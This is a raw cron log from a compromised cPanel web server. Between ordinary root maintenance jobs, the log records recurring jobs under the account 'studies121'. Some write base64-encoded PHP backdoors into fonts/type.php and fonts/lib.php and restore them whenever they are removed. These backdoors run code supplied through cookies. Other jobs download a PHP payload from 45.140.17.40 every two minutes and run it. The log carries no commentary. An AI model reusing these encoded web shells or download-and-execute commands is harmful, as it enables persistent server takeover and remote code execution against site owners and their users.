Sep  9 18:29:01 ip-184-168-122-23 CROND[28510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:29:01 ip-184-168-122-23 CROND[28513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:29:01 ip-184-168-122-23 CROND[28515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:30:01 ip-184-168-122-23 CROND[28595]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 18:30:01 ip-184-168-122-23 CROND[28596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:30:01 ip-184-168-122-23 CROND[28600]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 18:30:01 ip-184-168-122-23 CROND[28601]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 18:30:01 ip-184-168-122-23 CROND[28603]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:30:01 ip-184-168-122-23 CROND[28604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:30:01 ip-184-168-122-23 CROND[28605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:30:01 ip-184-168-122-23 CROND[28602]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 18:31:01 ip-184-168-122-23 CROND[28779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:31:01 ip-184-168-122-23 CROND[28780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:31:01 ip-184-168-122-23 CROND[28782]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 18:31:01 ip-184-168-122-23 CROND[28785]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:31:01 ip-184-168-122-23 CROND[28784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:32:01 ip-184-168-122-23 CROND[28864]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 18:32:01 ip-184-168-122-23 CROND[28865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:32:01 ip-184-168-122-23 CROND[28867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:32:01 ip-184-168-122-23 CROND[28870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:32:01 ip-184-168-122-23 CROND[28871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:33:01 ip-184-168-122-23 CROND[28954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:33:01 ip-184-168-122-23 CROND[28955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:33:01 ip-184-168-122-23 CROND[28953]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:33:01 ip-184-168-122-23 CROND[28956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:34:01 ip-184-168-122-23 CROND[29050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:34:01 ip-184-168-122-23 CROND[29052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:34:01 ip-184-168-122-23 CROND[29053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:34:01 ip-184-168-122-23 CROND[29054]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 18:34:01 ip-184-168-122-23 CROND[29055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:35:01 ip-184-168-122-23 CROND[29153]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 18:35:01 ip-184-168-122-23 CROND[29149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:35:01 ip-184-168-122-23 CROND[29152]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 18:35:01 ip-184-168-122-23 CROND[29154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:35:01 ip-184-168-122-23 CROND[29155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:35:01 ip-184-168-122-23 CROND[29156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:35:01 ip-184-168-122-23 CROND[29150]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 18:35:02 ip-184-168-122-23 CROND[29151]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 18:36:02 ip-184-168-122-23 CROND[29252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:36:02 ip-184-168-122-23 CROND[29254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:36:02 ip-184-168-122-23 CROND[29255]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 18:36:02 ip-184-168-122-23 CROND[29257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:36:02 ip-184-168-122-23 CROND[29256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:37:01 ip-184-168-122-23 CROND[29335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:37:01 ip-184-168-122-23 CROND[29337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:37:01 ip-184-168-122-23 CROND[29336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:37:01 ip-184-168-122-23 CROND[29338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:38:01 ip-184-168-122-23 CROND[29416]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:38:01 ip-184-168-122-23 CROND[29418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:38:01 ip-184-168-122-23 CROND[29419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:38:01 ip-184-168-122-23 CROND[29420]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 18:38:01 ip-184-168-122-23 CROND[29421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:39:01 ip-184-168-122-23 CROND[29535]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:39:01 ip-184-168-122-23 CROND[29538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:39:01 ip-184-168-122-23 CROND[29536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:39:01 ip-184-168-122-23 CROND[29540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:39:01 ip-184-168-122-23 CROND[29539]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 18:40:01 ip-184-168-122-23 CROND[29738]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 18:40:01 ip-184-168-122-23 CROND[29741]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 18:40:01 ip-184-168-122-23 CROND[29743]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 18:40:01 ip-184-168-122-23 CROND[29746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:40:01 ip-184-168-122-23 CROND[29742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:40:01 ip-184-168-122-23 CROND[29744]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 18:40:01 ip-184-168-122-23 CROND[29751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:40:01 ip-184-168-122-23 CROND[29750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:41:01 ip-184-168-122-23 CROND[29888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:41:01 ip-184-168-122-23 CROND[29890]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:41:01 ip-184-168-122-23 CROND[29892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
